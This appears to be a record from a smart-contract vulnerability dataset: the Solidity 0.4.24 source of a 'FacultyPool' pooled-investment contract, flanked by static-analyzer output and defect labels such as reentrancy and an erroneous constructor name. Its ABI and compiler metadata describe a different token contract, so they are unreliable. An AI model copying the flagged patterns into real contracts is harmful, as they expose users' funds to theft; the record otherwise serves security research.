"SOLIDITY_WRONG_SIGNATURE", "line": 943, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 959, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 963, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 967, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 971, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 975, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 991, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1007, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1023, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1027, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1031, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1035, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1039, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1043, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1047, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1051, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1055, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1059, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1063, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1067, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1071, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1075, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1079, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1083, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1087, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1091, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1095, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1099, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1103, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1119, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1135, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1151, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1155, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1159, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1163, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1167, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1183, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1199, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1215, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1219, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1223, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1227, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1231, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1247, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1263, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1279, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1283, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1287, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1291, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1295, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1299, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1303, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1307, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1311, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1315, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1319, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1323, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1327, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1331, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1335, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1339, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1343, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1347, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1351, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1355, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1359, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1375, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1391, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1407, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1411, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1415, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1419, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1423, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1439, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1455, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1471, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1475, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1479, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1483, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1487, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1503, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1519, "severity": 2}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"controller","type":"address"}],"name":"addController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"controller","type":"address"}],"name":"removeController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.7+commit.e28d00a7
true
200
Default
None
false
ipfs://04bc68d69903b67028b794e13cbe091249a5c6dbefe8a877fbcc9e6f4b8a5b94
FacultyPool
0x3c14d768829d8890cc4eb0677b61b196e2fb4637
Solidity
pragma solidity 0.4.24; /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } /** * @title RBACWithAdmin * @author Matt Condon (@Shrugs) * @dev It's recommended that you define constants in the contract, * @dev like ROLE_ADMIN below, to avoid typos. */ contract RBACWithAdmin is RBAC { /** * A constant role name for indicating admins. */ string public constant ROLE_ADMIN = "admin"; /** * @dev modifier to scope access to admins * // reverts */ modifier onlyAdmin() { checkRole(msg.sender, ROLE_ADMIN); _; } /** * @dev constructor. Sets msg.sender as admin by default */ function RBACWithAdmin() public { addRole(msg.sender, ROLE_ADMIN); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function adminAddRole(address addr, string roleName) onlyAdmin public { addRole(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function adminRemoveRole(address addr, string roleName) onlyAdmin public { removeRole(addr, roleName); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20 { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } // Contract Code for Faculty - Faculty Devs contract FacultyPool is RBACWithAdmin { using SafeMath for uint; // Constants // ======================================================== uint8 constant CONTRACT_OPEN = 1; uint8 constant CONTRACT_CLOSED = 2; uint8 constant CONTRACT_SUBMIT_FUNDS = 3; // 500,000 max gas uint256 constant public gasLimit = 50000000000; // 0.1 ether uint256 constant public minContribution = 100000000000000000; // State Vars // ======================================================== // recipient address for fee address public owner; // the fee taken in tokens from the pool uint256 public feePct; // open our contract initially uint8 public contractStage = CONTRACT_OPEN; // the current Beneficiary Cap level in wei uint256 public currentBeneficiaryCap; // the total cap in wei of the pool uint256 public totalPoolCap; // the destination for this contract address public receiverAddress; // our beneficiaries mapping (address => Beneficiary) beneficiaries; // the total we raised before closing pool uint256 public finalBalance; // a set of refund amounts we may need to process uint256[] public ethRefundAmount; // mapping that holds the token allocation struct for each token address mapping (address => TokenAllocation) tokenAllocationMap; // the default token address address public defaultToken; // Modifiers and Structs // ======================================================== // only run certain methods when contract is open modifier isOpenContract() { require (contractStage == CONTRACT_OPEN); _; } // stop double processing attacks bool locked; modifier noReentrancy() { require(!locked); locked = true; _; locked = false; } // Beneficiary struct Beneficiary { uint256 ethRefund; uint256 balance; uint256 cap; mapping (address => uint256) tokensClaimed; } // data structure for holding information related to token withdrawals. struct TokenAllocation { ERC20 token; uint256[] pct; uint256 balanceRemaining; } // Events // ======================================================== event BeneficiaryBalanceChanged(address indexed beneficiary, uint256 totalBalance); event ReceiverAddressSet(address indexed receiverAddress); event ERC223Received(address indexed token, uint256 value); event DepositReceived(address indexed beneficiary, uint256 amount, uint256 gas, uint256 gasprice, uint256 gasLimit); event PoolStageChanged(uint8 stage); event PoolSubmitted(address indexed receiver, uint256 amount); event RefundReceived(address indexed sender, uint256 amount); event TokenWithdrawal(address indexed beneficiary, address indexed token, uint256 amount); event EthRefunded(address indexed beneficiary, uint256 amount); // CODE BELOW HERE // ======================================================== /* * Construct a pool with a set of admins, the poolCap and the cap each beneficiary gets. And, * optionally, the receiving address if know at time of contract creation. * fee is in bips so 3.5% would be set as 350 and 100% == 100*100 => 10000 */ constructor(address[] _admins, uint256 _poolCap, uint256 _beneficiaryCap, address _receiverAddr, uint256 _feePct) public { require(_admins.length > 0, "Must have at least one admin apart from msg.sender"); require(_poolCap >= _beneficiaryCap, "Cannot have the poolCap <= beneficiaryCap"); require(_feePct >= 0 && _feePct < 10000); feePct = _feePct; receiverAddress = _receiverAddr; totalPoolCap = _poolCap; currentBeneficiaryCap = _beneficiaryCap; // setup privileges owner = msg.sender; addRole(msg.sender, ROLE_ADMIN); for (uint8 i = 0; i < _admins.length; i++) { addRole(_admins[i], ROLE_ADMIN); } } // we pay in here function () payable public { if (contractStage == CONTRACT_OPEN) { emit DepositReceived(msg.sender, msg.value, gasleft(), tx.gasprice, gasLimit); _receiveDeposit(); } else { _receiveRefund(); } } // receive funds. gas limited. min contrib. function _receiveDeposit() isOpenContract internal { require(tx.gasprice <= gasLimit, "Gas too high"); require(address(this).balance <= totalPoolCap, "Deposit will put pool over limit. Reverting."); // Now the code Beneficiary storage b = beneficiaries[msg.sender]; uint256 newBalance = b.balance.add(msg.value); require(newBalance >= minContribution, "contribution is lower than minContribution"); if(b.cap > 0){ require(newBalance <= b.cap, "balance is less than set cap for beneficiary"); } else if(currentBeneficiaryCap == 0) { // we have an open cap, no limits b.cap = totalPoolCap; }else { require(newBalance <= currentBeneficiaryCap, "balance is more than currentBeneficiaryCap"); // we set it to the default cap b.cap = currentBeneficiaryCap; } b.balance = newBalance; emit BeneficiaryBalanceChanged(msg.sender, newBalance); } // Handle refunds only in closed state. function _receiveRefund() internal { assert(contractStage >= 2); require(hasRole(msg.sender, ROLE_ADMIN) || msg.sender == receiverAddress, "Receiver or Admins only"); ethRefundAmount.push(msg.value); emit RefundReceived(msg.sender, msg.value); } function getCurrentBeneficiaryCap() public view returns(uint256 cap) { return currentBeneficiaryCap; } function getPoolDetails() public view returns(uint256 total, uint256 currentBalance, uint256 remaining) { remaining = totalPoolCap.sub(address(this).balance); return (totalPoolCap, address(this).balance, remaining); } // close the pool from receiving more funds function closePool() onlyAdmin isOpenContract public { contractStage = CONTRACT_CLOSED; emit PoolStageChanged(contractStage); } function submitPool(uint256 weiAmount) public onlyAdmin noReentrancy { require(contractStage < CONTRACT_SUBMIT_FUNDS, "Cannot resubmit pool."); require(receiverAddress != 0x00, "receiver address cannot be empty"); uint256 contractBalance = address(this).balance; if(weiAmount == 0){ weiAmount = contractBalance; } require(minContribution <= weiAmount && weiAmount <= contractBalance, "submitted amount too small or larger than the balance"); finalBalance = contractBalance; // transfer to upstream receiverAddress require(receiverAddress.call.value(weiAmount) .gas(gasleft().sub(5000))(), "Error submitting pool to receivingAddress"); // get balance post transfer contractBalance = address(this).balance; if(contractBalance > 0) { ethRefundAmount.push(contractBalance); } contractStage = CONTRACT_SUBMIT_FUNDS; emit PoolSubmitted(receiverAddress, weiAmount); } function viewBeneficiaryDetails(address beneficiary) public view returns (uint256 cap, uint256 balance, uint256 remaining, uint256 ethRefund){ Beneficiary storage b = beneficiaries[beneficiary]; return (b.cap, b.balance, b.cap.sub(b.balance), b.ethRefund); } function withdraw(address _tokenAddress) public { Beneficiary storage b = beneficiaries[msg.sender]; require(b.balance > 0, "msg.sender has no balance. Nice Try!"); if(contractStage == CONTRACT_OPEN){ uint256 transferAmt = b.balance; b.balance = 0; msg.sender.transfer(transferAmt); emit BeneficiaryBalanceChanged(msg.sender, 0); } else { _withdraw(msg.sender, _tokenAddress); } } // This function allows the contract owner to force a withdrawal to any contributor. function withdrawFor (address _beneficiary, address tokenAddr) public onlyAdmin { require (contractStage == CONTRACT_SUBMIT_FUNDS, "Can only be done on Submitted Contract"); require (beneficiaries[_beneficiary].balance > 0, "Beneficary has no funds to withdraw"); _withdraw(_beneficiary, tokenAddr); } function _withdraw (address _beneficiary, address _tokenAddr) internal { require(contractStage == CONTRACT_SUBMIT_FUNDS, "Cannot withdraw when contract is not CONTRACT_SUBMIT_FUNDS"); Beneficiary storage b = beneficiaries[_beneficiary]; if (_tokenAddr == 0x00) { _tokenAddr = defaultToken; } TokenAllocation storage ta = tokenAllocationMap[_tokenAddr]; require ( (ethRefundAmount.length > b.ethRefund) || ta.pct.length > b.tokensClaimed[_tokenAddr] ); if (ethRefundAmount.length > b.ethRefund) { uint256 pct = _toPct(b.balance,finalBalance); uint256 ethAmount = 0; for (uint i= b.ethRefund; i < ethRefundAmount.length; i++) { ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct)); } b.ethRefund = ethRefundAmount.length; if (ethAmount > 0) { _beneficiary.transfer(ethAmount); emit EthRefunded(_beneficiary, ethAmount); } } if (ta.pct.length > b.tokensClaimed[_tokenAddr]) { uint tokenAmount = 0; for (i= b.tokensClaimed[_tokenAddr]; i< ta.pct.length; i++) { tokenAmount = tokenAmount.add(_applyPct(b.balance, ta.pct[i])); } b.tokensClaimed[_tokenAddr] = ta.pct.length; if (tokenAmount > 0) { require(ta.token.transfer(_beneficiary,tokenAmount)); ta.balanceRemaining = ta.balanceRemaining.sub(tokenAmount); emit TokenWithdrawal(_beneficiary, _tokenAddr, tokenAmount); } } } function setReceiver(address addr) public onlyAdmin { require (contractStage < CONTRACT_SUBMIT_FUNDS); receiverAddress = addr; emit ReceiverAddressSet(addr); } // once we have tokens we can enable the withdrawal // setting this _useAsDefault to true will set this incoming address to the defaultToken. function enableTokenWithdrawals (address _tokenAddr, bool _useAsDefault) public onlyAdmin noReentrancy { require (contractStage == CONTRACT_SUBMIT_FUNDS, "wrong contract stage"); if (_useAsDefault) { defaultToken = _tokenAddr; } else { require (defaultToken != 0x00, "defaultToken must be set"); } TokenAllocation storage ta = tokenAllocationMap[_tokenAddr]; if (ta.pct.length==0){ ta.token = ERC20(_tokenAddr); } uint256 amount = ta.token.balanceOf(this).sub(ta.balanceRemaining); require (amount > 0); if (feePct > 0) { uint256 feePctFromBips = _toPct(feePct, 10000); uint256 feeAmount = _applyPct(amount, feePctFromBips); require (ta.token.transfer(owner, feeAmount)); emit TokenWithdrawal(owner, _tokenAddr, feeAmount); } amount = ta.token.balanceOf(this).sub(ta.balanceRemaining); ta.balanceRemaining = ta.token.balanceOf(this); ta.pct.push(_toPct(amount,finalBalance)); } // get the available tokens function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) { Beneficiary storage b = beneficiaries[addr]; TokenAllocation storage ta = tokenAllocationMap[tokenAddr]; for (uint i = b.tokensClaimed[tokenAddr]; i < ta.pct.length; i++) { tokenAmount = tokenAmount.add(_applyPct(b.balance, ta.pct[i])); } return tokenAmount; } // This is a standard function required for ERC223 compatibility. function tokenFallback (address from, uint value, bytes data) public { emit ERC223Received (from, value); } // returns a value as a % accurate to 20 decimal points function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { return numerator.mul(10 ** 20) / denominator; } // returns % of any number, where % given was generated with toPct function _applyPct (uint numerator, uint pct) internal pure returns (uint) { return numerator.mul(pct) / (10 ** 20); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["372"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["549", "485", "529", "548", "481", "455", "392", "460"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["262"]}, {"defect": "Reentrancy", "type": "Function_call", "severity": "High", "lines": ["442"]}]
[{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"FacultyPool.sol": [543]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"FacultyPool.sol": [448]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FacultyPool.sol": [237, 238, 239, 240, 241, 242]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [557, 558, 559]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [456, 457, 454, 455]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [427, 428, 429, 430]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [263]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [264]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [424, 421, 422, 423]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [514, 515, 516, 517, 518]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [547, 548, 549, 550, 551, 552, 553, 554]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [196, 197, 198, 199, 200, 201]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [384, 385, 378, 379, 380, 381, 382, 383]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [208, 209, 210, 211, 212, 213]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [473, 474, 475, 476, 477]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FacultyPool.sol": [417, 418, 419]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [442, 443, 444]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FacultyPool.sol": [366]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FacultyPool.sol": [516]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FacultyPool.sol": [525]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [279]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [522]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [522]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [459]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [281]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FacultyPool.sol": [473]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"FacultyPool.sol": [502]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"FacultyPool.sol": [503]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"FacultyPool.sol": [502]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"FacultyPool.sol": [502]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"FacultyPool.sol": [448]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"FacultyPool.sol": [508]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"FacultyPool.sol": [450]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"FacultyPool.sol": [509]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"FacultyPool.sol": [539]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"FacultyPool.sol": [451]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"FacultyPool.sol": [509]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"FacultyPool.sol": [466]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"FacultyPool.sol": [543]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"FacultyPool.sol": [279]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"FacultyPool.sol": [281]}}, {"check": "tautology", "impact": "Medium", "confidence": "High", "lines": {"FacultyPool.sol": [364]}}]
